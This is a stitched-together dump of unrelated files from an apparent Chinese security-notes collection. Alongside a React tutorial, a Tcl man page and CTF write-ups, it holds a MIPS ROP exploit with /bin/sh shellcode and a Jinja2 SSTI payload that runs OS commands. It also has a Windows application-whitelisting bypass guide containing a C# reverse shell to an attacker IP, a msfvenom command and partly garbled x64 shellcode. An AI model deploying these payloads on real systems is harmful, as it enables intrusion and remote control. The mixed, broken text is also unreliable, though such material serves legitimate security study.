| 0x00137CF4 | move $t9,$a1 | jr $a1 |
| 0x00139BFC | move $t9,$s4 | jr $s4 |
----------------------------------------------------------------------------------------------------------------
Found 20 matching gadgets
```
如果没有合适的，我们可以尝试找在一些 "*dir" 的函数结尾来查找，有没有合适的，例如我在 readdir64 函数的末尾发现如下 gadget
这样我们就能控制 s2 寄存器也能控制 PC，下一步就是跳到 sleep, 但是单纯的跳到 sleep 是不够的，同时我们要保证执行完 sleep 后能跳到下一个 gadget ，所以我们还需要一个既能 执行 sleep 又能控制下一个 PC 地址的 gadget
看了眼寄存器，此时 我们还能控制的还挺多，例如我这里找 $a3 的寄存器
```
Python>mipsrop.find("mov $t9, $s3")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0001CE80 | move $t9,$s3 | jalr $s3 |
..........
| 0x000949EC | move $t9,$s3 | jalr $s3 |
....
```
通过这个 gadget 我们先跳到 s3 的寄存器执行 sleep ，再通过控制的 ra 寄存器进行下一步操作
```
.text:000949EC move $t9, $s3
.text:000949F0 jalr $t9 ; uselocale
.text:000949F4 move $s0, $v0
.text:000949F8
.text:000949F8 loc_949F8: # CODE XREF: strerror_l+15C↓j
.text:000949F8 lw $ra, 0x34($sp)
.text:000949FC move $v0, $s0
.text:00094A00 lw $s3, 0x24+var_sC($sp)
.text:00094A04 lw $s2, 0x24+var_s8($sp)
.text:00094A08 lw $s1, 0x24+var_s4($sp)
.text:00094A0C lw $s0, 0x24+var_s0($sp)
.text:00094A10 jr $ra
.text:00094A14 addiu $sp, 0x38
```
通过这个 gadget 我们先跳到 s3 的寄存器执行 sleep ，再通过控制的 ra 寄存器进行下一步操作
#### 2. jmp shellcode
下一步就是跳到 shellcode ，要跳到shellcode 我们先需要获得栈地址
我们先用 `Python>mipsrop.stackfinder()`
获得 如下 gadget
```asm
.text:00095B74 addiu $a1, $sp, 52
.text:00095B78 sw $zero, 24($sp)
.text:00095B7C sw $v0, 20($sp)
.text:00095B80 move $a3, $s2
.text:00095B84 move $t9, $s5
.text:00095B88 jalr $t9
```
该 gadget 可以将栈地址， 即 $sp+24 的值赋值给 $a0 ，那么这个栈就是我们即将填充 shellcode 的地方， $s5 可控，最后这段 gadget 会跳往 $s5 , 那么我们只需要再找一个直接 jr $a0 的gadget 即可
```
Python>mipsrop.find("move $t9, $a1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000FA0A0 | move $t9,$a1 | jalr $a1 |
| 0x0012568C | move $t9,$a1 | jalr $a1 |
| 0x0012F4A8 | move $t9,$a1 | jr $a1 |
| 0x0013032C | move $t9,$a1 | jr $a1 |
| 0x00130344 | move $t9,$a1 | jr $a1 |
| 0x00132C58 | move $t9,$a1 | jr $a1 |
| 0x00133888 | move $t9,$a1 | jr $a1 |
| 0x0013733C | move $t9,$a1 | jr $a1 |
| 0x00137354 | move $t9,$a1 | jr $a1 |
| 0x00137CDC | move $t9,$a1 | jr $a1 |
| 0x00137CF4 | move $t9,$a1 | jr $a1 |
----------------------------------------------------------------------------------------------------------------
Found 11 matching gadgets
```
这里使用的是
```
.text:0012568C move $t9, $a1
.text:00125690 move $a3, $v0
.text:00125694 move $a1, $a0
.text:00125698 jalr $t9
```
最后的 exploit
```python
from pwn import *
# context.log_level = 'debug'
libc_base = 0x7f61f000
set_a0_addr = 0xE2660
#.text:000E2660 move $t9, $s2
#.text:000E2664 jalr $t9 ; sigprocmask
#.text:000E2668 li $a0, 1
set_s2_addr = 0xB2EE8
#.text:000B2EE8 lw $ra, 52($sp)
#.text:000B2EF0 lw $s6, 48($sp)
#.text:000B2EF4 lw $s5, 44($sp)
#.text:000B2EF8 lw $s4, 40($sp)
#.text:000B2EFC lw $s3, 36($sp)
#.text:000B2F00 lw $s2, 32($sp)
#.text:000B2F04 lw $s1, 28($sp)
#.text:000B2F08 lw $s0, 24($sp)
#.text:000B2F0C jr $ra
jr_t9_jr_ra = 0x949EC
# .text:000949EC move $t9, $s3
# .text:000949F0 jalr $t9 ; uselocale
# .text:000949F4 move $s0, $v0
# .text:000949F8
# .text:000949F8 loc_949F8: # CODE XREF: strerror_l+15C↓j
# .text:000949F8 lw $ra, 0x34($sp)
# .text:000949FC move $v0, $s0
# .text:00094A00 lw $s3, 0x24+var_sC($sp)
# .text:00094A04 lw $s2, 0x24+var_s8($sp)
# .text:00094A08 lw $s1, 0x24+var_s4($sp)
# .text:00094A0C lw $s0, 0x24+var_s0($sp)
# .text:00094A10 jr $ra
addiu_a1_sp = 0x95B74
# .text:00095B74 addiu $a1, $sp, 52
# .text:00095B78 sw $zero, 24($sp)
# .text:00095B7C sw $v0, 20($sp)
# .text:00095B80 move $a3, $s2
# .text:00095B84 move $t9, $s5
# .text:00095B88 jalr $t9
jr_a1 = 0x12568C
# .text:0012568C move $t9, $a1
# .text:00125690 move $a3, $v0
# .text:00125694 move $a1, $a0
# .text:00125698 jalr $t9
sleep = 0xB8FC0
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
pay = b''
pay += b'a'*508
pay += p32(set_s2_addr+libc_base)
pay += b'b'*24
pay += b'1111' #s0
pay += b'2222' #s1
pay += p32(jr_t9_jr_ra+libc_base) #s2 - > set a0
pay += p32(sleep+libc_base) #s3
pay += b'5555' #s4
pay += p32(jr_a1+libc_base) #s5
pay += b'7777' #s6
pay += p32(set_a0_addr+libc_base)
pay += b'c'*0x34
pay += p32(addiu_a1_sp+libc_base)
pay += b'd'*52
pay += shellcode
log.info(hex(0x94A10+libc_base))
log.info('addiu_a0_sp_24: {}'.format(hex(addiu_a1_sp+libc_base)))
with open('payload','wb') as f:
f.write(pay)
# p = process(['qemu-mipsel-static', '-L', './mipsel', '-g', '1234','./stack_bof_02', pay])
p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02',pay])
pause()
p.interactive()
```
|
sec-knowleage
|
#!/usr/bin/python
import numpy as np
import random
import json
import socket
import sys
from thread import *
HOST = ''
PORT = 6666
FLAG = ''
Nfeatures = 100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
try:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
s.listen(10)
print 'Socket now listening'
def generate_features(Nclasses, Nfeatures):
feats = []
for i in range(0,Nclasses):
f = []
for j in range(0, Nfeatures):
f.append(random.uniform(-1,1))
feats.append(f)
return feats
def get_probability(z):
return 1./(1+np.exp(-(z)))
def fit(X, feats):
y = []
for i in range(0, len(feats)):
y.append(get_probability(np.dot(X, feats[i])))
return y
def job(conn):
conn.send('Welcome to the server. \n')
feats = generate_features(1000, Nfeatures)
total_solved = 0
target = None
while True:
data = conn.recv(1024)
if data.startswith("exit"):
#print "exit"
break
elif data.startswith("hi"):
#print "hi"
conn.sendall(json.dumps(feats))
elif data.startswith("target") and target is None:
#print "target"
target = random.randint(0, 1000)
conn.sendall(str(target))
elif data.startswith('answer') and target is not None:
#print "answer"
X = np.array(data.replace("answer ","").strip().split(" "), dtype=int)
X = X[X <= 1]
X = X[X >= -1]
if(X.size != Nfeatures):
break
y = fit(X, feats)
conn.sendall(str(1.-float(y[target])))
if 1.-float(y[target]) <= 0.001:
total_solved += 1
target = None
conn.sendall("Ok")
else:
conn.sendall("Not ok")
break
if total_solved == 30:
conn.sendall(FLAG)
conn.close()
while 1:
try:
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
start_new_thread(job ,(conn,))
except KeyboardInterrupt:
break
s.close()
|
sec-knowleage
|
# Notice me (forensics/stegano)
In the task we get some image drive (heavy one, so we won't upload it here), and hint that someone had secret data they removed.
Binwalk says there is a PNG file and strings analysis shows that this PNG is close to `trash` strings.
We extract the image:
Then we checked with stegsolve is maybe there is something hidden in the picture, and it turns out that LSB of the last data lines hides a link, to another image.
They look identical, but the next image hides a different link.
We assume this might be a long chain, so we've wrote a script to download the whole chain:
```python
import codecs
import requests
from crypto_commons.generic import chunk
def extract_link(data):
bits = []
for b, g, r, a in data:
lsb = b & 1
bits.append(lsb)
chunked_bytes = chunk(bits, 8)
integers = map(lambda x: int("".join(map(str, x)), 2), chunked_bytes)
full = "".join(map(chr, integers))
print(full[-100:])
return full[-23:]
def main():
from PIL import Image
index = 0
filename = "pngs/" + str(index) + ".png"
while True:
im = Image.open(filename)
data = im.getdata()
index += 1
new_link = extract_link(data)
print(new_link)
r = requests.get("http://" + new_link)
filename = "pngs/" + str(index) + ".png"
with codecs.open(filename, "wb") as output_file:
output_file.write(r.content)
main()
```
It turns out it didn't take that long, already the 6th image is:
And hides: `Flag{M1nD_4wAk3_b0DY_4sl33P}`
|
sec-knowleage
|
'\"
'\" Copyright (c) 1990 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: lower.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: lower.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH lower 3tcl 3.3 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
lower \- 改变一个窗口在堆栈次序中的位置
.SH "总览 SYNOPSIS"
\fBlower \fIwindow \fR?\fIbelowThis\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
如果省略了 \fIbelowThis\fR 参数则这个命令降低 \fIwindow\fR ，这样它将在堆栈次序上低于它的所有兄弟窗口(它将被与它交叠的任何兄弟窗口所遮挡(obscure)而不遮挡任何兄弟窗口)。如果指定了 \fIbelowThis\fR 则它必须是一个窗口的路径名字，它要么是 \fIwindow\fR的一个兄弟窗口要么是 \fIwindow\fR 的兄弟窗口的一个后代。在这种情况下，\fBlower\fR 命令将在堆栈次序上把 \fIwindow\fR 插入到 \fIbelowThis\fR (或 \fIbelowThis\fR 的祖先窗口中是 \fIwindow \fR的兄弟窗口的那个窗口)的紧下面；这最终将要么升高要么降低 \fIwindow\fR。
.SH "参见 SEE ALSO"
raise
.SH "关键字 KEYWORDS"
lower, obscure, stacking order
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/12/26
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
## 配置组件的 props (属性)
组件内部是通过 **this.props** 的方式获取到组件的参数的，如果`this.props`里面有需要的属性我们就采用相应的属性，没有的话就用默认的属性。
```
class App extends React.Component{
render(){
console.log(this.props)
return (
<div className='app'>
App
</div>
)
}
}
```
在使用一个组件的时候，可以把参数放在标签的属性当中，所有的属性都会作为`props`对象的键值：
```
import React from 'react'
class Btn extends React.Component{
render(){
console.log(this.props)
return (
<div className='btn'>
<input type='button' value={this.props.name||'点击'} style={{color:this.props.color}} />
</div>
)
}
}
class App extends React.Component{
render(){
console.log(this.props)
return (
<div className='app'>
App <br />
<Btn name='注册' color='teal' />
<Btn name='登录' color='hotpink' />
</div>
)
}
}
export default App
```
数字也当作变量用 **{}** 包起来
```
import React from 'react'
class Btn extends React.Component{
render(){
return (
<div className='btn'>
age:{this.props.tal}
</div>
)
}
}
class App extends React.Component{
render(){
return (
<div className='app'>
<Btn tal={12} />
</div>
)
}
}
export default App
```
`props`的`children`属性
```
import React from 'react'
class Btn extends React.Component{
render(){
return (
<div className='btn'>
{this.props.children}
</div>
)
}
}
class App extends React.Component{
render(){
console.log(this.props)
return (
<div className='app'>
App <br />
<Btn>
<span>span标签</span>
</Btn>
</div>
)
}
}
export default App
```
注意`children`的类型会根据标签里的内容改变
**function**也可以通过`props`传递
通过`ref`获取子组件节点，通过`props`传递过去的方法修改`state`达成改变父组件状态
```
import React from 'react'
class Test extends React.Component{
constructor(){
super()
this.state = {
show:true
}
}
handleShow(){
this.setState({
show:!this.state.show
})
}
render(){
return(
<div>
<p style={{display:this.state.show ? 'block':'none'}}>杀人诛心</p>
<input type='button' value='点击' onClick={this.handleShow.bind(this)} />
</div>
)
}
}
class Ref extends React.Component{
handleClick(){
this.test.handleShow()
}
render(){
return(
<div>
<Test ref={test => this.test = test} onClick={this.handleClick.bind(this)}/>
<input type='button' value='点' onClick={this.handleClick.bind(this)} />
</div>
)
}
}
export default Ref
```
拓展应用
```
class Btn extends React.Component{
render(){
let styles = {
height:'25px',
padding:'0 20px',
lineHeight:'25px',
color:this.props.color,
background:this.props.bg,
border:'0'
}
return (
<div className='btn'>
age:{this.props.tal}<br />
<input type='button' value={this.props.name} style={styles} />
</div>
)
}
}
Btn.defaultProps = {
bg:'blue',
color :'white',
name:'点击',
tal:20
}
```
默认的`props`用 **defaultProps** 的属性设置
```
class Btn extends React.Component{
render(){
return (
<div className='btn'>
age:{this.props.tal}<br />
<input type='button' value={this.props.name}/>
</div>
)
}
}
Btn.defaultProps = {
name:'点击',
tal:20
}
```
|
sec-knowleage
|
### LD_PRELOAD原理
正常情况下, Linux 动态加载器`ld-linux`(见man手册ld-linux(8))会搜寻并装载程序所需的共享链接库文件, 而`LD_PRELOAD`是一个可选的环境变量, 包含一个或多个指向共享链接库文件的路径. 加载器会先于C语言运行库之前载入`LD_PRELOAD`指定的共享链接库，也就是所谓的预装载(`preload`)。
预装载意味着会它的函数会比其他库文件中的同名函数先于调用, 也就使得库函数可以被阻截或替换掉. 多个共享链接库文件的路径可以用`冒号`或`空格`进行区分. 显然不会受到`LD_PRELOAD`影响的也就只有那些静态链接的程序了.
当然为避免用于恶意攻击, 在`ruid != euid`的情况下加载器是不会使用`LD_PRELOAD`进行预装载的.
更多阅读: [https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html#ixzz569cbyze4](https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html#ixzz569cbyze4)
|
sec-knowleage
|
# Flask（Jinja2） 服务端模板注入漏洞
## 原理
参考文章：
- https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
- http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
## 测试
编译及运行测试环境：
```
docker compose build
docker compose up -d
```
访问`http://your-ip/?name={{233*233}}`，得到54289，说明SSTI漏洞存在。
获取eval函数并执行任意python代码的POC：
```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
```
访问`http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D`，得到执行结果：
|
sec-knowleage
|
**注：**请多喝点热水或者凉白开，身体特别重要。
**说明：**Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中，因此，Microsoft.Workflow.Compiler命令无法识别。
基于白名单Microsoft.Workflow.Compiler.exe配置payload：
Windows 7 默认位置：
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
```
**攻击机：**192.168.1.4 Debian
**靶机：**192.168.1.3 Windows 7
### 配置攻击机msf：
### 靶机执行：
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp
```
### 结合meterpreter：
**注：payload.cs需要用到System.Workflow.Activities**
**靶机执行：**
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs
```
**配置攻击机msf：**
**payload生成：**
```bash
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp
```
### 附录：poc.xml
**注：windows/shell/reverse_tcp**
```xml
<?xml version="1.0" encoding="utf‐8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema‐instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>Micropoor.tcp</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">‐1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
```
**Micropoor.tcp：**
```csharp
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
{
static StreamWriter streamWriter;
public Program()
{
using(TcpClient client = new TcpClient("192.168.1.4", 53))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
```
### Micropoor_rev1.cs：
**注：x64 payload**
```csharp
using System;
using System.Workflow.Activities;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
public yrDaTlg() {
byte[] QWKpWKhcs =
{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
